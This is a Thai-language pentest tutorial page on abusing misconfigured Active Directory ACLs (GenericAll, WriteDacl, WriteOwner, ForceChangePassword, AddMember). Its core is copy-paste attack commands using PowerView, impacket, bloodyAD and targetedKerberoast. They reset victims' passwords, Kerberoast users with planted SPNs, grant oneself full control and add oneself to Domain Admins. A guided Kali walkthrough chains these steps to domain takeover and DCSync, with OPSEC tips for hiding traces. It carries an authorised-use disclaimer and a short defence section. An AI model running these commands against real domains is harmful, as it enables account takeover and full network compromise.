คลัง
active-directory

ACL Abuse

ACL Abuse ใช้สิทธิ์ที่ตั้งผิดบน object ใน Active Directory (DACL) เพื่อยกระดับสิทธิ์ — เช่น GenericAll, WriteDacl, ForceChangePassword, WriteOwner ที่ให้เราควบคุม user/group/computer อื่นได้ บทนี้ลงลึกแต่ละ ACE สำคัญ, วิธี abuse แต่ละแบบพร้อมคำสั่ง, การต่อเป็น chain, และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)

Advanced#acl-abuse#active-directory#dacl#genericall#writedacl#powerview#ctf

1. หลักการ — DACL และ misconfiguration

ทุก object ใน AD (user, group, computer, OU) มี DACL (Discretionary Access Control List) ที่ระบุว่าใครทำอะไรกับ object นั้นได้ ผ่าน ACE (Access Control Entry) แต่ละรายการ องค์กรใหญ่มักมี ACE ที่ตั้งผิด เช่น user ธรรมดามี GenericAll บน group สำคัญ — ทำให้เพิ่มตัวเองเข้า group นั้นได้ ACL abuse คือใช้สิทธิ์เหล่านี้ 'เดิน' จากจุดที่ยืนไปสู่สิทธิ์ที่สูงขึ้น ทีละขั้น (BloodHound แสดงเป็น edge)

เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาต (engagement/lab/CTF) เท่านั้น

2. ACE สำคัญและสิ่งที่ทำได้

ACEให้อำนาจอะไรabuse เป็น
GenericAllคุม object เต็มทำได้ทุกอย่างข้างล่าง
GenericWriteเขียน attributeตั้ง SPN (targeted Kerberoast), logon script
WriteDaclแก้ DACL ของ objectให้ GenericAll ตัวเอง
WriteOwnerเปลี่ยนเจ้าของยึด object → ให้สิทธิ์ตัวเอง
ForceChangePasswordเปลี่ยนรหัส userยึดบัญชีนั้น
AddMemberเพิ่มสมาชิก groupเพิ่มตัวเองเข้า group สูง
AllExtendedRightsextended rights ทั้งหมดDCSync (ถ้าบน domain), เปลี่ยนรหัส

3. ForceChangePassword — ยึด user

เปลี่ยนรหัส user ที่เรามีสิทธิ์
# PowerView (Windows)
$pass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity victim -AccountPassword $pass

# Linux (impacket / net rpc)
net rpc password "victim" "NewPass123!" -U "domain/attacker%password" -S dc.domain.local
# หรือ
changepasswd.py domain.local/victim@dc -newpass 'NewPass123!' -altuser attacker -altpass password
เปลี่ยนรหัส victim โดยไม่ต้องรู้รหัสเดิม (มีแค่สิทธิ์ ForceChangePassword) → login เป็น victim ต่อ

4. GenericWrite — targeted Kerberoast / logon script

ตั้ง SPN แล้ว Kerberoast (targeted)
# GenericWrite บน user → ตั้ง SPN ให้ user นั้น → Kerberoast → crack
# PowerView
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/svc'}
# แล้ว request TGS ของ victim (ดูหัวข้อ Kerberoasting)
Rubeus.exe kerberoast /user:victim

# Linux (targetedKerberoast)
targetedKerberoast.py -d domain.local -u attacker -p password
# ตั้ง SPN ชั่วคราว, roast, ลบ SPN อัตโนมัติ

# หลัง crack ได้รหัส victim → ลบ SPN ที่ตั้ง
Set-DomainObject -Identity victim -Clear serviceprincipalname
GenericWrite ตั้ง SPN ได้ → targeted Kerberoast เฉพาะ user นั้น แล้ว crack; ลบ SPN หลังเสร็จ (OPSEC)

5. WriteDacl / WriteOwner — ยกระดับสิทธิ์

WriteDacl → ให้ GenericAll ตัวเอง; WriteOwner → ยึด
# WriteDacl: เพิ่ม ACE ให้ตัวเองมี GenericAll บน object
# PowerView
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker -Rights All
# Linux (dacledit - impacket)
dacledit.py -action write -rights FullControl -principal attacker -target-dn "CN=Domain Admins,..." domain.local/attacker:password

# WriteOwner: เปลี่ยนเจ้าของเป็นตัวเองก่อน แล้วให้สิทธิ์
# PowerView
Set-DomainObjectOwner -Identity victim -OwnerIdentity attacker
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -Rights All
# Linux (owneredit)
owneredit.py -action write -new-owner attacker -target victim domain.local/attacker:password
WriteDacl → ให้สิทธิ์ตัวเองเพิ่ม; WriteOwner → ยึดเจ้าของก่อนแล้วให้สิทธิ์ — ทั้งคู่นำไป GenericAll

6. AddMember / GenericAll บน group

เพิ่มตัวเองเข้า group สูง
# PowerView
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
# ตรวจ
Get-DomainGroupMember -Identity 'Domain Admins'

# Linux (net rpc / bloodyAD)
net rpc group addmem "Domain Admins" "attacker" -U "domain/attacker%password" -S dc
bloodyAD.py -d domain.local -u attacker -p password add groupMember "Domain Admins" attacker
GenericAll/AddMember บน group → เพิ่มตัวเองเข้า group นั้น (เช่น Domain Admins = ยึดโดเมน)

7. ต่อเป็น chain + การป้องกัน

ACL abuse มักต่อกันเป็น chain — BloodHound แสดงเส้นทาง เช่น: user เรา →(GenericWrite)→ user A →(MemberOf)→ group B →(GenericAll)→ Domain Admins ตามทีละ edge โดยดู Abuse Info ของแต่ละขั้น

  • workflow: BloodHound หา path → ตามแต่ละ ACE edge → abuse ทีละขั้นจนถึง DA
  • OPSEC: ลบ ACE/SPN/group membership ที่เพิ่มหลังเสร็จ; การแก้ DACL ถูก log (Event 5136)
  • ป้องกัน: audit DACL ของ object สำคัญ (โดยเฉพาะ domain, privileged groups)
  • ป้องกัน: ลบ ACE ที่ให้ user ทั่วไปมีสิทธิ์เหนือ object สูง (least privilege)
  • ป้องกัน: monitor Event 4720/4728/5136 (สร้าง user, เพิ่ม group member, แก้ DACL)
  • ป้องกัน: ใช้ BloodHound เองเพื่อหา attack path แล้วปิด (proactive)

8. Quick Reference

  • ใช้ ACE ที่ตั้งผิดบน object → ยกระดับสิทธิ์ (BloodHound แสดง edge)
  • GenericAll = ทำได้ทุกอย่าง; WriteDacl = ให้สิทธิ์ตัวเอง; WriteOwner = ยึด
  • ForceChangePassword: Set-DomainUserPassword / net rpc password
  • GenericWrite: ตั้ง SPN → targeted Kerberoast
  • AddMember/GenericAll บน group: Add-DomainGroupMember 'Domain Admins'
  • WriteDacl/Owner: Add-DomainObjectAcl -Rights All → GenericAll
  • ป้องกัน: audit DACL, least privilege, monitor 5136/4728

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ BloodHound ชี้ edge สีแดง (GenericAll/WriteDacl/AddMember ฯลฯ) จาก node ที่เราคุมไปยัง object อื่น มีแค่ Kali ทำตามนี้ไล่ abuse ทีละ edge จนกว่าจะถึงสิทธิ์สูงสุด

  1. 1เปิด BloodHound คลิกที่ edge เส้นที่ชี้มา → แท็บ 'Abuse Info' อ่านคำสั่งที่แนะนำ (มักมีทั้ง Windows/Linux)
  2. 2ยืนยันชนิด ACE ที่มี: ดูจาก edge label (GenericAll/GenericWrite/WriteDacl/WriteOwner/ForceChangePassword/AddMember)
  3. 3ถ้าเป็น ForceChangePassword: เปลี่ยนรหัส victim ทันที net rpc password 'victim' 'NewPass123!' -U 'domain/attacker%password' -S dc.domain.local
  4. 4ถ้าเป็น GenericWrite: ตั้ง SPN ปลอมแล้ว targeted Kerberoast targetedKerberoast.py -d domain.local -u attacker -p password
  5. 5ถ้าเป็น GenericAll/AddMember บน group: เพิ่มตัวเองเข้า group bloodyAD.py -d domain.local -u attacker -p password add groupMember 'Domain Admins' attacker
  6. 6ถ้าเป็น WriteDacl/WriteOwner: ให้สิทธิ์ตัวเองเพิ่มด้วย dacledit.py/owneredit.py จาก impacket
  7. 7ยืนยันผล: login ด้วย credential/สิทธิ์ใหม่ netexec smb <DC_IP> -u attacker -p pass
  8. 8ถ้า path ยังไม่ถึง DA — กลับไป BloodHound ดู edge ถัดไปในเส้นทาง (chain ต่อ)
  9. 9ถ้า ACE ที่ควรมีกลับใช้ไม่ได้ (deny พิเศษ) → กลับไปหา edge อื่นจาก BloodHound
เลือก abuse ตามชนิด ACE
ดู edge ที่ BloodHound ชี้มา — เป็น ACE แบบไหน
ForceChangePassword→ เปลี่ยนรหัส victim ตรงๆ
GenericWrite→ ตั้ง SPN แล้ว targeted Kerberoast
GenericAll/AddMember บน group→ เพิ่มตัวเองเข้า group
WriteDacl/WriteOwner→ ให้สิทธิ์ตัวเองเพิ่มก่อน
net rpc password / Set-DomainUserPassword
✅ เปลี่ยนสำเร็จ→ login เป็น victim แล้วรัน BloodHound ซ้ำ
❌ ไม่มีสิทธิ์จริง (ACE ผิด)→ กลับไปดู edge อื่นใน BloodHound
targetedKerberoast.py -d domain -u attacker -p pass
✅ ได้ hash แล้ว crack ออก→ login เป็น victim ต่อ
❌ crack ไม่ออก→ ลอง wordlist/rule อื่น (ดู Hashcat Playbook)
Add-DomainGroupMember / bloodyAD add groupMember
✅ เข้า group สำเร็จ→ ตรวจสิทธิ์ใหม่ทันที
❌ ไม่มีสิทธิ์เพิ่มสมาชิก→ อาจเป็นแค่ GenericWrite ไม่ใช่ GenericAll — กลับไปเช็ค edge
dacledit.py/owneredit.py → ให้ GenericAll ตัวเอง
✅ ได้สิทธิ์ใหม่→ ทำตาม edge เดิมซ้ำ (ตอนนี้มี GenericAll แล้ว)
❌ ไม่ผ่าน→ กลับไปหา ACE/edge อื่น
ตรวจสิทธิ์ใหม่ (เช่นเป็นสมาชิก Domain Admins แล้ว)
✅ ถึง DA/สิทธิ์สูงสุดแล้ว→ DCSync/dump credential ต่อได้เลย
❌ ยังไม่ถึงสิทธิ์สูงสุด→ กลับไป BloodHound ดู edge ถัดไปใน chain
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
วิเคราะห์ edge/abuse infoBloodHoundBloodHound CE (docker compose)bloodhound.readthedocs.io
เปลี่ยนรหัส/ACL/group ผ่าน RPCimpacket (net rpc, dacledit.py, owneredit.py)pipx install impacket-
PowerView-style ops จาก Linux-pipx install bloodyAD-
targeted Kerberoastimpacketgit clone targetedKerberoast-
crack hash ที่ได้hashcat-hashes.com, crackstation.net
ยืนยัน creds/สิทธิ์ใหม่netexec (crackmapexec)apt install netexec-
🚑 ถ้าตันสนิท ลองท่าถัดไป: BloodHound (กลับไปดู edge/chain ถัดไป) · DCSync (ถ้าไต่ถึง DA แล้ว) · Shadow Credentials (ถ้า ACE เป็น GenericWrite บน user/computer ที่มี PKINIT — เนียนกว่า reset password) · Delegation Abuse (ถ้ามี write บน computer object ลอง RBCD แทน)

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้